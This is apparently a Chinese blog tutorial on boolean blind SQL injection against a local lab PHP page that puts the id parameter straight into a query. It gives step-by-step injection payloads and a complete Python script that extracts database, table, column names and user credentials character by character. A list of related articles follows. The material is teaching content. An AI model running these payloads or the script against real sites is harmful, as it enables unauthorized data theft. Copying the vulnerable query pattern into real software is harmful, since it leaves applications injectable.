小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注。

目录

布尔盲注使用的环境

常用函数与语句

substr()函数

ord()函数

length()函数

实战演示

1、判断是否存在注入点

2、尝试用报错盲注看是否能够成功爆出数据

3、使用布尔盲注来爆出数据信息

1.爆出数据库的长度

2、爆出数据库名

3、爆出表名、字段名、数据


布尔盲注使用的环境

通常在我们在一个可以执行SQL语句查询的页面,当我们语句查询正常时,都会正常回显但是不会回显数据,而当我们语句错误时就会报错,或者无回显。如果后端代码可以输出错误信息(如PHP中的mysqli_error()),我们可以尝试使用报错盲注;但是当后端代码不支持输出错误信息(或无回显)时,我们就可以使用布尔盲注来爆出我们想要的数据。

常用函数与语句

substr()函数

substr()函数是截取字符串的函数。

使用形式substr(string,start,length)

参数string :被截取的字符串

参数start :截取的起始位置

参数length :从截取位置截取的长度

使用下面语句体验一下substr()的功能。

select substr("administrator",2,5);

ord()函数

ord()函数是返回一个字符的ASCII码。

使用形式:ord(character)

参数character:为单个字符,如果是字符串的话,则只按照字符串的第一个字符计算。

例如:

select ord('a');

select ord('ab');

length()函数

length()函数是否返回一个字符串的长度。

使用形式为length(string)

参数string :为需要输出其长度的字符串。

例如:

select length('abcdefg');

实战演示

源码:

<?php// 连接数据库$coon = mysqli_connect("127.0.0.1","root","root","test",3306);error_reporting(0);if (isset($_GET['id'])) {// 接受传来的参数id$id = @$_GET['id'];// 执行的SQL语句$sql = "select id,username,password,phone,e_mail from guests where id=$id limit 0,1";$res = mysqli_query($coon, $sql);$row = mysqli_fetch_array($res);if ($row) {echo "<center><br/>";echo "<h1>You have successfully executed SQL statement for querying the data with id!</h1>";echo "</center>";}else{echo "<center></br>";echo "<h1>";echo "Your SQL statement is error!!!";echo "</h1></center>";}} else {echo "<center><br/>";echo "<h1>Please input a value as id!</h1>";echo "</center>";}

1、判断是否存在注入点

我们构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and 1=2”和“http://127.0.0.1/opsql/sql10.php?id=1 and 1=1”来观察页面的回显。

http://127.0.0.1/opsql/sql10.php?id=1 and 1=2
http://127.0.0.1/opsql/sql10.php?id=1 and 1=1

        and 1=1时页面正常回显,and 1=2时页面回显error,说明我们构造的and 条件插入到了后端的SQL语句,存在注入点。

2、尝试用报错盲注看是否能够成功爆出数据

由于and 1=2时,页面也爆出了错误,我们来测试一下使用报错盲注是否行得通。

构造payload:“?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)”

http://127.0.0.1/opsql/sql10.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

updatexml()函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 新的XML片段 ,然后返回更改的XML。

updatexml函数的使用形式为updatexml(XML_document,XPath_string,new_value)

XML_document是String格式,为XML文档对象的名称。
XPath_string ,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 。我们就是通过这个参数让数据库报错,继而得到我们需要的数据。
new_value,String格式,替换查找到的符合条件的数据。

其中concat()函数是把传入的值拼接成一个字符串,0x7e是~符号的ascii码的16进制,是为了方便我们找到报错的信息。database()返回当前的数据库名。

页面没有爆出数据信息,说明后端没有使用报错函数将错误信息输出,只是当SQL语句错误时,仅仅使页面打印出提示SQL语句error的信息。

这样的话我们就得使用布尔盲注来爆出数据了。

3、使用布尔盲注来爆出数据信息

1.爆出数据库名的长度

构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and length(database())=4”

http://127.0.0.1/opsql/sql10.php?id=1 and length(database())=4

可以看到当length(database())=3时报错,而当length(database())=4时没有报错,说明database()也没就是当前的数据库名长度为4。

我们还可以构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and length((select schema_name from information_schema.schemata limit 0,1))=18” 来判断其他的数据库名的长度。

http://127.0.0.1/opsql/sql10.php?id=1 and length((select schema_name from information_schema.schemata limit 0,1))=18

information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。limit num1,num2 的作用使用显示查询结果索引为num1后num2个数据。例如payload中的limit 0,1 就是取查询结果中索引为0位置后1个数据。

通过增大num1的值来取出其他的数据库名进行判断其长度。

通过回显正常得知,查询数据库名的结果中,第一个数据库名的长度为18。

其他的测试就交给小伙伴们来测试了。

2、爆出数据库名

知道数据库名长度之后就可以爆出数据库名了。

构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and substr(database(),1,1)='t'”

之后通过更改数字,来猜测完整的数据库名

http://127.0.0.1/opsql/sql10.php?id=1 and substr(database(),1,4)='test'

这样我们就爆出了数据库名。

我们还可以通过猜测数据库名的ASCII码,然后通过解析ascii码来爆出数据库名。

payload:“http://127.0.0.1/opsql/sql10.php?id=1 and ord(substr(database(),1,1))>110”

http://127.0.0.1/opsql/sql10.php?id=1 and ord(substr(database(),1,1))>110

最终成功猜测数据库名的第一个字符的acsii码为116,经查询知,ascii码为116的字符为字母‘t’。

接下来就是一点一点的爆出剩下的字符了。

3、爆出表名、字段名、数据

其实当我们能够爆出数据库名的时候,表名和字段名以及数据都已经不在话下了,只是时间问题,因为的表名或者字段名以及数据都特别的长。这时候我们不能傻傻的一个字符一个字符的在那里手工的猜解,我们可以尝试写一段脚本代码,让代码来替我们猜解。

这里我是用python写的,运行可能会需要一点时间。

代码:

import requestsbaseUrl = "http://127.0.0.1/opsql/sql10.php"def get_databases():"""获取所有的数据库名:return: databases_name 所有的数据库名"""# 判断数据库的总长度databases_length = 0for num in range(1, 200):payload = f"?id=1 and length((select group_concat(schema_name) from information_schema.schemata))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:databases_length = numbreak# 爆出所有的数据库名databases_name = ""for pos in range(1, databases_length + 1):for num in range(0, 255):payload = f"?id=1 and ord(substr((select group_concat(schema_name) from information_schema.schemata),{pos},1))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:databases_name += chr(num)breakprint(databases_name)def get_database():"""获取当前的数据库名:return: database_name 当前数据库名称"""# 判断当前数据长度database_length = 0for num in range(1, 20):payload = f"?id=1 and length(database())={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:database_length = numbreak# 爆出当前数据库的名字database_name = ""for pos in range(1, database_length + 1):for num in range(0, 255):payload = f"?id=1 and ord(substr(database(),{pos},1))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:database_name += chr(num)breakprint(database_name)def get_tables(table_schema):"""获取指定数据库下的所有表名:param table_schema: 指定数据库名:return : tables_name 返回指定数据下所有的表名"""# 判断数据库下所有表的长度tables_length = 0for num in range(0, 200):payload = f"?id=1 and length((select group_concat(table_name) from information_schema.tables where table_schema='{table_schema}'))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:tables_length = numbreak# 爆出数据下所有的表名tables_name = ""for pos in range(1, tables_length + 1):for num in range(0, 255):payload = f"?id=1 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='{table_schema}'),{pos},1))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:tables_name += chr(num)breakprint(tables_name)def get_columns(table_schema, table_name):"""获取指定数据库指定表下的所有字段名:param table_schema: 指定数据库名:param table_name: 指定表名:return: columns_name 指定数据库指定表下的所有字段名"""columns_length = 0for num in range(1, 200):payload = f"?id=1 and length((select group_concat(column_name) from information_schema.columns where table_schema='{table_schema}' and table_name='{table_name}'))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:columns_length = numbreakcolumns_name = ""for pos in range(1, columns_length + 1):for num in range(0, 255):payload = f"?id=1 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='{table_schema}' and table_name='{table_name}'),{pos},1))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:columns_name += chr(num)breakprint(columns_name)def get_data(table_schema, table_name, *column):"""获取表中的数据:param table_schema: 只能发数据库:param table_name: 指定表名:param column: 指定字段名:return: 表中各个字段的数据"""column_length = len(column)data_length = []for index in range(column_length):for num in range(0, 10000):payload = f"?id=1 and length((select group_concat({column[index]}) from {table_schema}.{table_name}))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:data_length.append(num)breakdata = []for index in range(column_length):data_item = ""for pos in range(1, data_length[index] + 1):for num in range(0, 255):payload = f"?id=1 and ord(substr((select group_concat({column[index]}) from {table_schema}.{table_name}),{pos},1))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:data_item += chr(num)breakdata.append(data_item)# 打印数据print("*" * 50)for index in range(column_length):print(f"{column[index]}", end="\t")print()data_item = []for index in range(column_length):data_item.append(data[index].split(","))for index in range(column_length):for item in data_item:print(f"{item[index]}", end="\t")print()print("*" * 50)if __name__ == '__main__':get_databases()  # 获取所有的数据库名# get_database()  # 获取当前的数据库名# get_tables("test")  # 获取指定数据库下的所有表名# get_columns("test", "users")  # 获取指定数据库指定表中的所有字段# get_data("test", "users", "id", "username", "password")  # 获取数据

运行截图:

这个过程可能需要的时间长一点,这也是手工注入鸡肋的一点就是慢。

OK这样我们就一步一步的通过代码利用布尔盲注得到了test数据库下users表中的所有数据。

对于其他的数据库,大家只需要改一改函数的参数就行了,剩下的任务就交给小伙伴们了!

SQL注入原理-布尔盲注相关推荐

  1. sql注入学习——布尔盲注

    前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...

  2. SQL注入原理-时间盲注

    小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注. 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1.判 ...

  3. SQL注入之布尔盲注——sql-lab第八关

    布尔盲注简介 什么是盲注 盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息. [之前在做联合注入第一关的时候,用union select语句注入 ...

  4. SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)

    什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...

  5. sql注入学习——时间盲注

    前言:之前通过前九关学习到了回显注入.报错注入.布尔盲注等一些方法,这次就来详细的学习时间盲注. 在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回 ...

  6. SQL注入学习——Bool盲注详解 sqli-labs(Less 8)

    文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...

  7. SQL注入学习——时间盲注详解 sqli-labs(Less 9)

    文章目录 前言: 一.基础知识 1.时间盲注简介: 2.时间盲注常用的函数: 二.Less9 基于时间的单引号盲注 1.判断数据库名的长度: 2.猜测数据库: 3.判断表名的长度 4.猜测 secur ...

  8. web安全入门之SQL注入-时间型盲注

    SQL注入之时间型盲注 1.时间型盲注 时间型盲注条件极为苛刻,不管输入什么,WEB页面回显相同的结果,此时我们无法通过报错型注入以及布尔型盲注来爆数据,此时数据在交互完成以后目标网站没有正确和错误的 ...

  9. 【SQL注入-布尔盲注】

    SQL注入方法-布尔盲注 布尔盲注使用场景 案例演示 演示环境 源码分析 实际测试 使用布尔盲注猜解数据. 布尔盲注使用到的函数: 开始 布尔盲注使用场景 布尔型盲注应用于无数据回显,且WEB页面无报 ...

最新文章

  1. 基于组件的.NET软件开发(3)
  2. 大数据的发展,伴随的将是软件工程师的渐退,算法工程师的崛起
  3. 【数学和算法】初识卡尔曼滤波器(二)
  4. 以太坊智能合约 Hexagon 存在溢出漏洞
  5. 工具介绍:SUN CAM阵列管理客户端
  6. dw怎么打开html模板,Dreamweaver中如何使用模板
  7. xshell 打开文件跳转到最后_如何在Xshell中打开Xftp
  8. php 中class,PHP5中的类(class) (转)
  9. python删除链表中重复的节点_删除链表中所有值与Python相同的节点的程序
  10. Java案例:Log4J基本使用
  11. androidru使用adb启动activity和monkeyrunner启动activity
  12. NI视觉视觉软件简介
  13. 玩外服吃鸡手游显示服务器繁忙,玩家纷纷涌入刺激战场国际服导致服务器繁忙,出现BUG锁服!...
  14. 抖音直播带货gmv是什么意思?丨国仁网络资讯
  15. 解决 Missing GL version
  16. jquery自带的赋值函数html
  17. 韩老师——数据结构与算法—单链表的生成及增删改查操作和常见关于链表的面试题java代码实现
  18. 操作系统课程设计pintos project1实验摘记
  19. 软件工程第1次作业:阅读教材,提五个问题
  20. c语言去除字符串的空格,C语言实现去除字符串中空格

热门文章

  1. input获取焦点vue_Vue点击显示文本框并获取焦点
  2. 一个温州山村的区块链“突围”
  3. 用python绘制bilibili小电视
  4. 计算机病毒只会破坏磁盘上的数据和文件,计算机病毒只会破坏磁盘上的数据和文件。()判断题...
  5. python语言面试基础_Python面试宝典之基础篇-04
  6. rtx3090ti和rtx4000参数对比
  7. Windows Developer Day - MSIX and Advanced Installer
  8. python处理技巧_Python小技巧1
  9. 让div随着内容变化而变化
  10. 抖音新人常犯的4大难题,掌握清楚轻松上热门。